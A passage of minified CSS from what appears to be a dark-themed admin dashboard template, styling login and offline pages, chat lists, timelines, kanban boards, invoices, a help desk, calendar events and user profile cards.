relative; height: 50vh; width: 100%; } .auth-wrapper.auth-v2 .img-widget-1, .auth-wrapper.auth-v2 .img-widget-2, .auth-wrapper.auth-v2 .img-widget-3, .auth-wrapper.auth-v2 .img-widget-4 { position: absolute; } .auth-wrapper.auth-v2 .img-widget-1 { top: -25px; left: -110px; width: 300px; animation: widanimx 12s ease-in-out infinite; } .auth-wrapper.auth-v2 .img-widget-2 { bottom: -10%; left: 50%; width: 400px; animation: widanimx 12s ease-in-out infinite; animation-delay: 2.15s; } .auth-wrapper.auth-v2 .img-widget-3 { bottom: -10%; left: -30%; width: 300px; animation: widanimy 12s ease-in-out infinite; } .auth-wrapper.auth-v2 .img-widget-4 { top: -10%; left: 50%; width: 300px; animation: widanimy 12s ease-in-out infinite; animation-delay: 2.15s; } .auth-wrapper.auth-v2 .img-ring { width: 200px; height: 200px; position: absolute; top: 50%; left: 50%; transform: translate(-50%, -50%); border-radius: 50%; background: rgba(255, 255, 255, 0.25); display: flex; align-items: center; justify-content: center; } .auth-wrapper.auth-v2 .img-ring img { width: 100px; } .auth-wrapper.auth-v2 .img-ring:after, .auth-wrapper.auth-v2 .img-ring:before { content: ""; position: absolute; width: 100%; height: 100%; top: 0; left: 0; border-radius: 50%; background: rgba(255, 255, 255, 0.25); } .auth-wrapper.auth-v2 .img-ring:after { animation: sunwawe 2.1s cubic-bezier(0.65, 0.815, 0.735, 0.395) infinite; } .auth-wrapper.auth-v2 .img-ring:before { animation: sunwawe 2.1s cubic-bezier(0.165, 0.84, 0.44, 1) infinite; animation-delay: 1.15s; } .auth-wrapper.auth-v1 .navbar { background: transparent; } .auth-wrapper.auth-v1 .card { background: #292A33; box-shadow: 0 0.5rem 1rem rgba(0, 0, 0, 0.15); } .auth-wrapper.auth-v1 .bg-auth-side { content: ""; top: 0; left: 0; right: 0; bottom: 40%; position: absolute; } @media only screen and (max-width: 1199px) { .auth-wrapper.auth-v1 .bg-auth-side { display: block; } } @keyframes sunwawe { 0% { transform: scale(1); opacity: 1; } 100% { transform: scale(4); opacity: 0; } } @keyframes widanimx { 0% { transform: translate(25px, 0px); } 50% { transform: translate(-15px, 0px); } 100% { transform: translate(25px, 0px); } } @keyframes widanimy { 0% { transform: translate(0px, 25px); } 50% { transform: translate(0px, -15px); } 100% { transform: translate(0px, 25px); } } /**====== Authentication css end ======**/ /** ===================== Authentication css start ========================== **/ .auth-wrapper.maintance { background: #22242c; } .auth-wrapper.offline { background: radial-gradient(#94acbe, #253653); } .auth-wrapper.offline .offline-wrapper { position: relative; width: 100%; height: 100vh; display: flex; align-items: center; } .auth-wrapper.offline .offline-wrapper > svg { width: 100%; position: absolute; bottom: 0; left: 0; } .auth-wrapper.offline .offline-wrapper .boat-img { animation: boatanim 12s ease-in-out infinite; } .auth-wrapper.offline .s-img-1, .auth-wrapper.offline .s-img-2 { position: absolute; top: 0; left: 0; width: 100%; } .auth-wrapper.offline .s-img-1 { animation: sparcle 3.1s cubic-bezier(0.65, 0.815, 0.735, 0.395) infinite; } .auth-wrapper.offline .s-img-2 { animation: sparcle 3.1s cubic-bezier(0.165, 0.84, 0.44, 1) infinite; animation-delay: 1.19s; } .auth-wrapper.offline .moon { background: rgba(255, 255, 255, 0.4); position: absolute; top: 12%; left: 40%; width: 150px; height: 150px; border-radius: 50%; } .auth-wrapper.offline .moon:after, .auth-wrapper.offline .moon:before { content: ""; width: 100%; height: 100%; border-radius: 50%; position: absolute; top: 0; left: 0; box-shadow: inset 0 0 20px 5px rgba(255, 255, 255, 0.4); } .auth-wrapper.offline .moon:after { animation: sunwawe 2.1s cubic-bezier(0.65, 0.815, 0.735, 0.395) infinite; } .auth-wrapper.offline .moon:before { animation: sunwawe 2.1s cubic-bezier(0.165, 0.84, 0.44, 1) infinite; animation-delay: 1.15s; } .auth-wrapper.offline .sark .img-sark { width: 300px; position: absolute; right: -200px; animation: sark 12s ease-in-out infinite; } .auth-wrapper.offline .sark .bubble { background: rgba(255, 255, 255, 0); position: absolute; top: 12%; left: 60%; width: 30px; height: 30px; border-radius: 50%; animation: bubble 12s ease-in-out infinite; } .auth-wrapper.offline .sark .bubble:after, .auth-wrapper.offline .sark .bubble:before { content: ""; width: 100%; height: 100%; border-radius: 50%; position: absolute; top: 0; left: 0; box-shadow: inset 0 0 20px 5px rgba(255, 255, 255, 0.4); } .auth-wrapper.offline .sark .bubble:after { animation: sunwawe 2.1s cubic-bezier(0.65, 0.815, 0.735, 0.395) infinite; } .auth-wrapper.offline .sark .bubble:before { animation: sunwawe 2.1s cubic-bezier(0.165, 0.84, 0.44, 1) infinite; animation-delay: 1.15s; } .auth-wrapper.offline .off-main { position: relative; height: 100%; display: flex; align-items: center; } .auth-wrapper.offline .off-main .off-content { position: absolute; width: 100%; bottom: 5%; left: 0; z-index: 5; } @media only screen and (max-width: 575px) { .auth-wrapper.offline .sark { display: none; } .auth-wrapper.offline .offline-wrapper > svg { height: 95%; } .auth-wrapper.offline .off-main .off-content { bottom: 0%; } .auth-wrapper.offline .off-main .off-content h1, .auth-wrapper.offline .off-main .off-content .h1 { font-size: 45px; } .auth-wrapper.offline .moon { top: 12%; width: 50px; height: 50px; } } @keyframes bubble { 0%, 30% { opacity: 0; } 31% { opacity: 1; } 59% { opacity: 1; } 60%, 100% { opacity: 0; } } @keyframes sark { 0% { transform: rotate(-10deg) translate(245px, 46px); } 30% { transform: rotate(-13deg) translate(-329px, -80px); } 60% { transform: rotate(-13deg) translate(-329px, -80px); } 100% { transform: rotate(-26deg) translate(-887px, -80px); } } @keyframes boatanim { 0% { transform: rotate(-10deg) translate(95px, -14px); } 50% { transform: rotate(5deg) translate(-65px, -14px); } 100% { transform: rotate(-10deg) translate(95px, -14px); } } @keyframes sunwawe { 0% { transform: scale(1); opacity: 1; } 100% { transform: scale(4); opacity: 0; } } @keyframes sparcle { 0% { opacity: 0.5; } 50% { opacity: 0; } } /**====== Authentication css end ======**/ /* ===================== page start ======================================= */ .theme-avtar { width: 45px; height: 45px; border-radius: 17.3552px; color: #fff; display: flex; align-items: center; justify-content: center; font-size: 20px; flex-shrink: 0; } .conversations-list .img-user { width: 45px; height: 45px; border-radius: 10px; } .conversations-list .list-group-item { cursor: pointer; padding: 16px 16px; border-radius: 10px; transition: all 0.1s ease-in-out; } .conversations-list .list-group-item .btn-link { text-decoration: none !important; transition: all 0.1s ease-in-out; } .conversations-list .list-group-item.active, .conversations-list .list-group-item:hover { color: #fff; } .conversations-list .list-group-item.active h6, .conversations-list .list-group-item.active .h6, .conversations-list .list-group-item.active p, .conversations-list .list-group-item:hover h6, .conversations-list .list-group-item:hover .h6, .conversations-list .list-group-item:hover p { color: #fff; } .conversations-list .list-group-item.active .text-primary, .conversations-list .list-group-item.active .btn-link, .conversations-list .list-group-item:hover .text-primary, .conversations-list .list-group-item:hover .btn-link { color: #fff !important; } .horizontal-scroll-cards { overflow-x: auto; overflow-y: hidden; } .horizontal-scroll-cards::-webkit-scrollbar { height: 6px; opacity: 0; } .horizontal-scroll-cards::-webkit-scrollbar:hover { opacity: 1; } .horizontal-scroll-cards::-webkit-scrollbar-track { background: transparent; } .horizontal-scroll-cards::-webkit-scrollbar-thumb { background: #dcdaeb; } .horizontal-scroll-cards::-webkit-scrollbar-thumb:hover { background: #51459d; } .btn-addnew-project { border: 1px solid #3E3F4A; border-radius: 15px; padding: 20px; display: flex; flex-direction: column; align-items: center; width: 100%; height: calc(100% - 24px); justify-content: center; } .btn-addnew-project .proj-add-icon { width: 35px; height: 35px; border-radius: 10px; color: #fff; display: flex; align-items: center; justify-content: center; font-size: 20px; } .btn-addnew-team { text-align: center; } .btn-addnew-team .team-add-icon { margin: 0 auto; width: 50px; height: 50px; border-radius: 50%; padding: 5px; color: #fff; display: flex; align-items: center; justify-content: center; font-size: 20px; } .team-lists { text-align: center; } .team-lists > div p { padding: 0 5px; margin-bottom: 0; } .team-lists img { margin: 0 auto; width: 50px; height: 50px; border-radius: 50%; border: 1px solid #51459d; padding: 5px; } .user-group img { position: relative; width: 30px; height: 30px; border-radius: 50%; z-index: 2; transition: all 0.1s ease-in-out; border: 2px solid #292A33; } .user-group img + img { margin-left: -14px; } .user-group img:hover { z-index: 5; } .team-msg .img-user { width: 45px; height: 45px; border-radius: 10px; } .team-msg .list-group-item { padding-left: 0; padding-right: 0; } .form-send { position: relative; } .form-send .form-control, .form-send .custom-select, .form-send .dataTable-selector, .form-send .dataTable-input { position: relative; z-index: 1; padding-right: 60px; } .form-send .btn-send { position: absolute; right: 0; top: 0; bottom: 0; left: auto; z-index: 5; } .form-editor .CodeMirror { padding-bottom: 0; } .form-editor .CodeMirror, .form-editor .CodeMirror-scroll { min-height: auto !important; } .timeline-wrapper { position: relative; flex-wrap: nowrap; text-align: center; overflow-x: auto; padding-bottom: 20px; } .timeline-wrapper::-webkit-scrollbar { height: 6px; opacity: 0; } .timeline-wrapper::-webkit-scrollbar:hover { opacity: 1; } .timeline-wrapper::-webkit-scrollbar-track { background: transparent; } .timeline-wrapper::-webkit-scrollbar-thumb { background: #dcdaeb; } .timeline-wrapper::-webkit-scrollbar-thumb:hover { background: #51459d; } .timeline-wrapper .timeline-icons { font-size: 30px; position: relative; z-index: 5; } .timeline-wrapper .timeline-icons:before, .timeline-wrapper .timeline-icons:after { content: ""; height: 2px; background: #17181e; width: calc(50% - 16px); position: absolute; top: 22px; z-index: 1; } .timeline-wrapper .timeline-icons:after { left: -12px; } .timeline-wrapper .timeline-icons:before { right: -12px; } .timeline-wrapper .timeline-icons .timeline-dots { position: absolute; top: 22px; width: 50px; } .timeline-wrapper .timeline-icons .timeline-dots:before, .timeline-wrapper .timeline-icons .timeline-dots:after { content: ""; border: 3px solid #17181e; position: absolute; top: -2px; z-index: 7; transform: rotate(45deg); } .timeline-wrapper .timeline-icons .timeline-dots:after { left: -6px; } .timeline-wrapper .timeline-icons .timeline-dots:before { right: -6px; } .timeline-wrapper .timeline-icons i { display: inline-block; width: 50px; position: relative; z-index: 5; } .timeline-wrapper > div:first-child .timeline-icons::after, .timeline-wrapper > div:first-child .timeline-icons .timeline-dots::after { display: none; } .timeline-wrapper > div:last-child .timeline-icons::before, .timeline-wrapper > div:last-child .timeline-icons .timeline-dots::before { display: none; } .kanban-wrapper { position: relative; flex-wrap: nowrap; } .kanban-wrapper .card { position: relative; } .kanban-wrapper > .col { width: 390px; flex: 0 0 auto; } .btn-chk-work { text-align: center; justify-content: center; } .btn-chk-work .btn { margin-bottom: 14px; padding: 45px 50px; } .btn-chk-work .btn i { font-size: 55px; } @media screen and (max-width: 768px) { .btn-chk-work .btn { padding: 14px 16px; } .btn-chk-work .btn i { font-size: 40px; } } .event-cards .card { padding: 12px; border-radius: 20px; } .product-slider .carousel-indicators { margin-left: 0; margin-right: 0; margin-top: 20px; } .product-slider .carousel-indicators [data-bs-target] { margin-left: 8px; margin-right: 8px; } .product-slider .carousel-indicators img { width: 100%; } .product-slider img { border-radius: 15px; } body.theme-1 .conversations-list .list-group-item .btn-link { color: #0CAF60; } body.theme-1 .conversations-list .list-group-item.active, body.theme-1 .conversations-list .list-group-item:hover { background: linear-gradient(141.55deg, #0CAF60 3.46%, #0CAF60 99.86%), #0CAF60; } body.theme-1 .team-lists img { border-color: #0CAF60; } body.theme-3 .conversations-list .list-group-item .btn-link { color: #6FD943; } body.theme-3 .conversations-list .list-group-item.active, body.theme-3 .conversations-list .list-group-item:hover { background: linear-gradient(141.55deg, #6FD943 3.46%, #6FD943 99.86%), #6FD943; } body.theme-3 .team-lists img { border-color: #6FD943; } body.theme-2 .conversations-list .list-group-item .btn-link { color: #584ED2; } body.theme-2 .conversations-list .list-group-item.active, body.theme-2 .conversations-list .list-group-item:hover { background: linear-gradient(141.55deg, #584ED2 3.46%, #584ED2 99.86%), #584ED2; } body.theme-2 .team-lists img { border-color: #584ED2; } body.theme-4 .conversations-list .list-group-item .btn-link { color: #145388; } body.theme-4 .conversations-list .list-group-item.active, body.theme-4 .conversations-list .list-group-item:hover { background: linear-gradient(141.55deg, #145388 3.46%, #145388 99.86%), #145388; } body.theme-4 .team-lists img { border-color: #145388; } body.theme-5 .conversations-list .list-group-item .btn-link { color: #B9406B; } body.theme-5 .conversations-list .list-group-item.active, body.theme-5 .conversations-list .list-group-item:hover { background: linear-gradient(141.55deg, #B9406B 3.46%, #B9406B 99.86%), #B9406B; } body.theme-5 .team-lists img { border-color: #B9406B; } body.theme-6 .conversations-list .list-group-item .btn-link { color: #008ECC; } body.theme-6 .conversations-list .list-group-item.active, body.theme-6 .conversations-list .list-group-item:hover { background: linear-gradient(141.55deg, #008ECC 3.46%, #008ECC 99.86%), #008ECC; } body.theme-6 .team-lists img { border-color: #008ECC; } body.theme-7 .conversations-list .list-group-item .btn-link { color: #922C88; } body.theme-7 .conversations-list .list-group-item.active, body.theme-7 .conversations-list .list-group-item:hover { background: linear-gradient(141.55deg, #922C88 3.46%, #922C88 99.86%), #922C88; } body.theme-7 .team-lists img { border-color: #922C88; } body.theme-8 .conversations-list .list-group-item .btn-link { color: #C0A145; } body.theme-8 .conversations-list .list-group-item.active, body.theme-8 .conversations-list .list-group-item:hover { background: linear-gradient(141.55deg, #C0A145 3.46%, #C0A145 99.86%), #C0A145; } body.theme-8 .team-lists img { border-color: #C0A145; } body.theme-9 .conversations-list .list-group-item .btn-link { color: #48494B; } body.theme-9 .conversations-list .list-group-item.active, body.theme-9 .conversations-list .list-group-item:hover { background: linear-gradient(141.55deg, #48494B 3.46%, #48494B 99.86%), #48494B; } body.theme-9 .team-lists img { border-color: #48494B; } body.theme-10 .conversations-list .list-group-item .btn-link { color: #0C7785; } body.theme-10 .conversations-list .list-group-item.active, body.theme-10 .conversations-list .list-group-item:hover { background: linear-gradient(141.55deg, #0C7785 3.46%, #0C7785 99.86%), #0C7785; } body.theme-10 .team-lists img { border-color: #0C7785; } /* ===================== Invoice page start ===================================== */ .invoice-contact { display: flex; margin-bottom: 30px; padding-top: 30px; align-items: center; } @media screen and (max-width: 767px) { .invoice-contact { margin-bottom: 0; } } .invoice-table.table td { border: 0; padding: 4px 0; } .invoive-info { display: flex; margin-bottom: 30px; } .invoive-info h6, .invoive-info .h6 { margin-bottom: 20px; text-transform: uppercase; } .invoive-info .invoice-order.table { padding-left: 0; } .invoive-info .invoice-order.table th { border: 0; padding: 4px 0; } .invoive-info .invoice-order.table th:first-child { padding-left: 0; width: 80px; } .invoice-total { background: #f3f3f3; border-radius: 6px; padding: 14px 0; margin-bottom: 20px; } .invoice-total .table { margin-bottom: 0; } .invoice-total .table th { border: 0; padding: 4px 0; text-align: right; } .invoice-total .table td { text-align: right; } .invoice-total .table tbody { padding-right: 65px; float: right; } .invoice-summary .label { border-radius: 5px; padding: 3px 10px; font-size: 12px; } .invoice-list .btn { padding: 5px 10px; font-size: 12px; } .invoice-list .task-list-table { display: inline-block; } .vr-info-wrapper { background-size: cover; } .vr-info-wrapper .vr-info-container { width: 70%; margin: 0 auto; } .vr-info-wrapper .card { background: rgba(41, 42, 51, 0.5); } /* ===================== Invoice page end ======================================= */ @media screen and (max-width: 768px) { .fc .fc-toolbar { flex-direction: column; } .fc .fc-toolbar .fc-toolbar-chunk.fc-toolbar-chunk { margin-top: 8px; } } /** ===================== Help Desk Application css start ========================== **/ .hd-body .excerpt { padding: 15px; background: #22242c; border: 1px solid #3E3F4A; } .hd-body .ticket-customer, .hd-body .ticket-type-icon { display: block; text-transform: capitalize; } .hd-body:hover .hover-blk { transform: scale(1); } .sm-view .card-body .excerpt, .sm-view .card-body ul.list-inline { display: none; } .md-view .excerpt { display: none; } .md-view .col-auto ul li:nth-child(1), .md-view .col-auto ul li:nth-child(3), .sm-view .col-auto ul li:nth-child(1), .sm-view .col-auto ul li:nth-child(3) { display: none; } .hover-blk { background: #fff; width: 270px; left: calc(100% + 10px); transform: scale(0); z-index: 5; transition: all 0.1s ease-out; } .hover-blk .img-txt p { display: inline-block; } .topic-name h1, .topic-name .h1 { float: left; font-weight: normal; } .topic-name .btn-star { float: right; } .dicon-blk { top: 0; right: 0; } .dicon-blk li { display: inline-block; } .hd-detail .col-right .edit-del { opacity: 0; } .hd-detail .col-right .edit-del i { opacity: 0.2; } .hd-detail .col-right .edit-del i:hover { opacity: 1; } .hd-detail:hover .edit-del { opacity: 1; } .hdd-user i { bottom: 0; } .ticket-block .hd-body { border-left: 3px solid #ccc; } .ticket-block .col.border-right { border-color: #ccc !important; } .ticket-block .ticket-type-icon { font-weight: 500; color: #111; } .ticket-block .excerpt h6, .ticket-block .excerpt .h6 { color: #686c71; font-weight: 500; } .ticket-block .excerpt h6 a, .ticket-block .excerpt .h6 a { color: #686c71; } .ticket-block .excerpt h6 a:hover, .ticket-block .excerpt .h6 a:hover { text-decoration: underline !important; color: #111; } .ticket-block.open-tic .hd-body { border-color: #ea394a; } .ticket-block.close-tic .hd-body { border-color: #5AC17F; } .right-col .card-footer label { font-weight: 500; } .hdd-right-inner .select2-container--default { margin-bottom: 10px; } .hdd-right-inner .select2-container--default .select2-selection { border-color: #3E3F4A; } .hdd-right-side { width: 495px; } .hdd-right-side .hdd-right-inner { position: fixed; width: 465px; } .span-content a { padding: 0 7px; } .file-btn { position: relative; overflow: hidden; } .file-btn input { position: absolute; font-size: 50px; opacity: 0; right: 0; top: 0; } @media (max-width: 992px) { .hd-detail .col-right .edit-del { opacity: 1; } } @media only screen and (max-width: 767px) { .hdd-right-side { width: 100%; } .hdd-right-side .hdd-right-inner { position: static; width: 100%; } } @media (max-width: 575px) { .q-view .content { width: 450px; } } @media (max-width: 380px) { .q-view .content { width: 300px; } } #qviewModal.fade .q-view-modal.modal-dialog { transform: translateX(550px); } #qviewModal.show { padding-right: 0 !important; } #qviewModal.show .q-view-modal.modal-dialog { transform: none; } .q-view-modal { margin: 0; } .q-view-modal .modal-content { height: 100vh; border-radius: 0; border: none; } .q-view-modal .modal-content .modal-body { flex: 1 1 100%; } .q-view-modal .modal-content .modal-body .trumbowyg-box, .q-view-modal .modal-content .modal-body .trumbowyg-editor { min-height: 110px; } @media (min-width: 576px) { .q-view-modal.modal-dialog { max-width: 550px; margin: 0 0 0 auto; } } .ticket-card.open-ticket { border-left: 3px solid #ff3a6e; } .ticket-card.close-ticket { border-left: 3px solid #6fd943; } .help-main.sm-view .help-md-hidden, .help-main.sm-view .help-sm-hidden { display: none; } .help-main.md-view .help-md-hidden { display: none; } .popup-trigger { cursor: pointer; } /**====== Help Desk Application css start ======**/ .fc-view { margin-top: 30px; } .none-border .modal-footer { border-top: none; } .fc-toolbar { margin: 15px 0 5px; } .fc-toolbar h2, .fc-toolbar .h2 { font-size: 1.25rem; line-height: 1.875rem; text-transform: uppercase; } .fc-day-grid-event .fc-time { font-weight: 700; } .fc-day { background: transparent; } .fc-toolbar .fc-state-active, .fc-toolbar .ui-state-active, .fc-toolbar .ui-state-hover, .fc-toolbar button:focus, .fc-toolbar button:hover { z-index: 0; } .fc th.fc-widget-header { background: #51459d; color: #fff; border-color: #51459d; font-size: 13px; line-height: 20px; padding: 10px 0; text-transform: uppercase; } .fc-unthemed .fc-divider, .fc-unthemed .fc-popover, .fc-unthemed .fc-row, .fc-unthemed tbody, .fc-unthemed td, .fc-unthemed th, .fc-unthemed thead { border-color: #4a4b58; } .fc-button, .fc-today-button { background: #4a4b58; border: none; color: #343a40; text-shadow: none; text-transform: capitalize; box-shadow: none; border-radius: 3px; margin: 0.375rem 0.75rem; padding: 0.375rem 0.75rem !important; height: auto !important; } .fc-text-arrow { font-family: inherit; font-size: 1rem; } .fc-state-hover { background: #e9ecef; } .fc-state-highlight { background: #dee2e6; } .fc-state-active, .fc-state-disabled, .fc-state-down { background-color: #51459d; color: #ffffff; text-shadow: none; } .fc-cell-overlay { background: #dee2e6; } .fc-unthemed td.fc-today { background: #f8f9fa; } .fc-unthemed .fc-divider, .fc-unthemed .fc-list-heading td, .fc-unthemed .fc-popover .fc-header { background: #f8f9fa; } .fc-event, .fc-event:not([href]) { color: #fff; border-color: #51459d; border-left-width: 4px; padding: 5px 10px; border-radius: 2px; margin-bottom: 5px; cursor: move; } .fc-event:not([class*="bg-"]), .fc-event:not([href]):not([class*="bg-"]) { background-color: #51459d; } .external-event { cursor: move; margin: 10px 0; padding: 8px 10px; color: #ffffff; } .fc-basic-view td.fc-week-number span { padding-right: 8px; } .fc-basic-view td.fc-day-number { padding-right: 8px; } .fc-basic-view .fc-content { color: #ffffff; } .fc-time-grid-event .fc-content { color: #ffffff; } .fc .fc-button-group > *, .fc-today-button { margin-bottom: 4px; margin-left: 10px; border-radius: 2px; font-size: 1rem; } .fc-ltr .fc-basic-view .fc-day-top .fc-day-number { float: right; height: 20px; width: 20px; text-align: center; line-height: 20px; background-color: #4a4b58; border-radius: 2px; margin: 5px; font-size: 12px; border: 1px solid #454652; } .fc-scroller { overflow: visible !important; height: auto !important; } @media (max-width: 575.98px) { .fc-toolbar .fc-center, .fc-toolbar .fc-left, .fc-toolbar .fc-right { float: none; display: block; clear: both; margin: 10px 0; } .fc .fc-toolbar > * > * { float: none; } .fc-today-button { display: none; } } .fc-popover { background: #262f3f; } .fc-h-event .fc-event-main { color: inherit; color: var(--fc-event-text-color, inherit); } .fc .fc-timegrid-slot { height: 2.5em; } .fc-timeGridDay-view .fc-v-event .fc-event-main-frame { flex-direction: row; align-items: center; } .fc-timeGridDay-view .fc-v-event .fc-event-main-frame > div + div { margin-left: 10px; } .fc-event, .fc-event:not([href]) { border-width: 1px 1px 1px 5px; border-style: solid; border-radius: 3px; } .fc-event.event-primary, .fc-event:not([href]).event-primary { background: #dcdaeb; border-color: #51459d; color: #51459d; } .fc-event.event-primary.fc-v-event .fc-event-main, .fc-event:not([href]).event-primary.fc-v-event .fc-event-main { color: #51459d; } .fc-event.event-primary .fc-daygrid-event-dot, .fc-event:not([href]).event-primary .fc-daygrid-event-dot { border-color: #51459d; } .fc-event.event-secondary, .fc-event:not([href]).event-secondary { background: #e2e3e5; border-color: #6c757d; color: #6c757d; } .fc-event.event-secondary.fc-v-event .fc-event-main, .fc-event:not([href]).event-secondary.fc-v-event .fc-event-main { color: #6c757d; } .fc-event.event-secondary .fc-daygrid-event-dot, .fc-event:not([href]).event-secondary .fc-daygrid-event-dot { border-color: #6c757d; } .fc-event.event-success, .fc-event:not([href]).event-success { background: #e2f7d9; border-color: #6fd943; color: #6fd943; } .fc-event.event-success.fc-v-event .fc-event-main, .fc-event:not([href]).event-success.fc-v-event .fc-event-main { color: #6fd943; } .fc-event.event-success .fc-daygrid-event-dot, .fc-event:not([href]).event-success .fc-daygrid-event-dot { border-color: #6fd943; } .fc-event.event-info, .fc-event:not([href]).event-info { background: #d8f4f7; border-color: #3ec9d6; color: #3ec9d6; } .fc-event.event-info.fc-v-event .fc-event-main, .fc-event:not([href]).event-info.fc-v-event .fc-event-main { color: #3ec9d6; } .fc-event.event-info .fc-daygrid-event-dot, .fc-event:not([href]).event-info .fc-daygrid-event-dot { border-color: #3ec9d6; } .fc-event.event-warning, .fc-event:not([href]).event-warning { background: #ffecd2; border-color: #ffa21d; color: #ffa21d; } .fc-event.event-warning.fc-v-event .fc-event-main, .fc-event:not([href]).event-warning.fc-v-event .fc-event-main { color: #ffa21d; } .fc-event.event-warning .fc-daygrid-event-dot, .fc-event:not([href]).event-warning .fc-daygrid-event-dot { border-color: #ffa21d; } .fc-event.event-danger, .fc-event:not([href]).event-danger { background: #ffd8e2; border-color: #ff3a6e; color: #ff3a6e; } .fc-event.event-danger.fc-v-event .fc-event-main, .fc-event:not([href]).event-danger.fc-v-event .fc-event-main { color: #ff3a6e; } .fc-event.event-danger .fc-daygrid-event-dot, .fc-event:not([href]).event-danger .fc-daygrid-event-dot { border-color: #ff3a6e; } .fc-event.event-light, .fc-event:not([href]).event-light { background: #fefefe; border-color: #f8f9fa; color: #f8f9fa; } .fc-event.event-light.fc-v-event .fc-event-main, .fc-event:not([href]).event-light.fc-v-event .fc-event-main { color: #f8f9fa; } .fc-event.event-light .fc-daygrid-event-dot, .fc-event:not([href]).event-light .fc-daygrid-event-dot { border-color: #f8f9fa; } .fc-event.event-dark, .fc-event:not([href]).event-dark { background: #d2d3d5; border-color: #1c232f; color: #1c232f; } .fc-event.event-dark.fc-v-event .fc-event-main, .fc-event:not([href]).event-dark.fc-v-event .fc-event-main { color: #1c232f; } .fc-event.event-dark .fc-daygrid-event-dot, .fc-event:not([href]).event-dark .fc-daygrid-event-dot { border-color: #1c232f; } /** ===================== Icon layouts css start ========================== **/ .i-main .i-block { display: inline-flex; align-items: center; justify-content: center; width: 70px; height: 70px; margin: 5px; border: 1px solid #3E3F4A; position: relative; cursor: pointer; } .i-main .i-block i { font-size: 30px; } .i-main .i-block label { margin-bottom: 0; display: none; } .i-main .i-block span.ic-badge { position: absolute; bottom: 0; right: 0; } /**====== Icon layouts css end ======**/ /** ===================== user card css start ========================== **/ .user-card .dropdown-toggle { cursor: pointer; } .user-card .cover-img-block { position: relative; } .user-card .cover-img-block > img { width: 100%; } .user-card .cover-img-block .change-cover { position: absolute; top: 30px; left: 30px; z-index: 5; opacity: 0; transition: all 0.3s ease-in-out; } .user-card .cover-img-block .change-cover .dropdown-toggle { color: #fff; background: rgba(0, 0, 0, 0.6); width: 45px; height: 45px; border-radius: 50%; font-size: 20px; display: flex; align-items: center; justify-content: center; } .user-card .cover-img-block .change-cover .dropdown-toggle:after { display: none; } .user-card .cover-img-block .overlay { position: absolute; top: 0; left: 0; width: 100%; height: 100%; opacity: 0; z-index: 1; background: rgba(0, 0, 0, 0.4); transition: all 0.3s ease-in-out; } .user-card .cover-img-block:hover .change-cover, .user-card .cover-img-block:hover .overlay { opacity: 1; } .user-card .user-about-block { margin-top: -20px; z-index: 1; position: relative; } .user-card .user-about-block img { box-shadow: 0 0 0 5px #fff; } .user-card .user-about-block .certificated-badge { position: absolute; bottom: -5px; right: -5px; border-radius: 50%; width: 30px; height: 30px; background: #fff; padding: 5px 3px; } .user-card .user-about-block .certificated-badge .bg-icon { font-size: 22px; } .user-card .user-about-block .certificated-badge .front-icon { font-size: 11px; position: absolute; top: 11px; left: 9px; } .user-card .hover-data { position: absolute; z-index: 3; top: 0; left: 0; width: 100%; height: 100%; background: rgba(36, 46, 62, 0.92); text-align: center; display: flex; align-items: center; justify-content: center; transform: scale(0); transition: all 0.3s ease-in-out; } .user-card:hover .hover-data { transform: scale(1); } .user-card .change-profile .dropdown-toggle::after { display: none; } .user-card .change-profile .profile-dp { position: relative; overflow: hidden; padding: 5px; width: 110px; height: 110px; border-radius: 50%; } .user-card .change-profile .profile-dp .overlay { position: absolute; top: 5px; left: 5px; width: calc(100% - 10px); height: calc(100% - 10px); border-radius: 50%; opacity: 0; z-index: 1; overflow: hidden; background: rgba(0, 0, 0, 0.4); transition: all 0.3s ease-in-out; } .user-card .change-profile .profile-dp .overlay span { background: rgba(0, 0, 0, 0.5); color: #fff; position: absolute; bottom: 0; width: 100%; text-align: center; border-top: 1px solid rgba(255, 255, 255, 0.4); padding: 0 0 5px; } .user-card .change-profile .profile-dp:hover .overlay { opacity: 1; } @media only screen and (max-width: 992px) { .user-card .user-about-block { margin-top: -10px; } .user-card .wid-80 { width: 60px; } .user-card .change-profile .profile-dp { width: 90px; height: 90px; } .user-card.user-card-2.shape-right .cover-img-block { -webkit-clip-path: none; clip-path: none; } .user-card .cover-img-block .change-cover .dropdown-toggle { padding: 5px 7px; } } .tab-content .btn.btn-sm.float-end i, .tab-content .btn-group-sm > .btn.float-end i { font-size: 14px; } .user-card-2 .cover-img-block { -webkit-clip-path: polygon(0 0, 100% 0%, 100% 100%, 0% 80%); clip-path: polygon(0 0, 100% 0%, 100% 100%, 0% 80%); } .user-card-2.shape-right .cover-img-block { -webkit-clip-path: polygon(0 0, 100% 0%, 100% 80%, 0% 100%); clip-path: polygon(0 0, 100% 0%, 100% 80%, 0% 100%); } .user-card-2.shape-center .cover-img-block { -webkit-clip-path: polygon(0 0, 100% 0%, 100% 80%, 50% 100%, 0% 80%); clip-path: polygon(0 0, 100% 0%, 100% 80%, 50% 100%, 0% 80%); } .user-card-3 .certificated-badge { position: absolute; bottom: 5px; right: 5px; border-radius: 50%; width: 40px; height: 40px; background: #fff; padding: 5px 3px; } .user-card-3 .certificated-badge .bg-icon { font-size: 30px; } .user-card-3 .certificated-badge .front-icon { font-size: 14px; position: absolute; top: 14px; left: 13px; } .user-card-3 .social-top-link { position: absolute; top: 20px; left: 20px; } .user-card-3.social-hover .social-top-link { top: 20px; left: 20px; overflow: hidden; } .user-card-3.social-hover .social-top-link .btn, .user-card-3.social-hover .social-top-link li { margin-left: -100px; transition: all 0.2s ease-in-out; } .user-card-3.social-hover .social-top-link .btn:nth-child(1), .user-card-3.social-hover .social-top-link li:nth-child(1) { transition-delay: 0.05s; } .user-card-3.social-hover .social-top-link .btn:nth-child(2), .user-card-3.social-hover .social-top-link li:nth-child(2) { transition-delay: 0.1s; } .user-card-3.social-hover .social-top-link .btn:nth-child(3), .user-card-3.social-hover .social-top-link li:nth-child(3) { transition-delay: 0.15s; } .user-card-3.social-hover .social-top-link .btn:nth-child(4), .user-card-3.social-hover .social-top-link li:nth-child(4) { transition-delay: 0.2s; } .user-card-3.social-hover .social-top-link .btn:nth-child(5), .user-card-3.social-hover .social-top-link li:nth-child(5) { transition-delay: 0.25s; } .user-card-3.social-hover .social-top-link .btn:nth-child(6), .user-card-3.social-hover .social-top-link li:nth-child(6) { transition-delay: 0.3s; } .user-card-3.social-hover .social-top-link .btn:nth-child(7), .user-card-3.social-hover .social-top-link li:nth-child(7) { transition-delay: 0.35s; } .user-card-3.social-hover .social-top-link .btn:nth-child(8), .user-card-3.social-hover .social-top-link li:nth-child(8) { transition-delay: 0.4s; 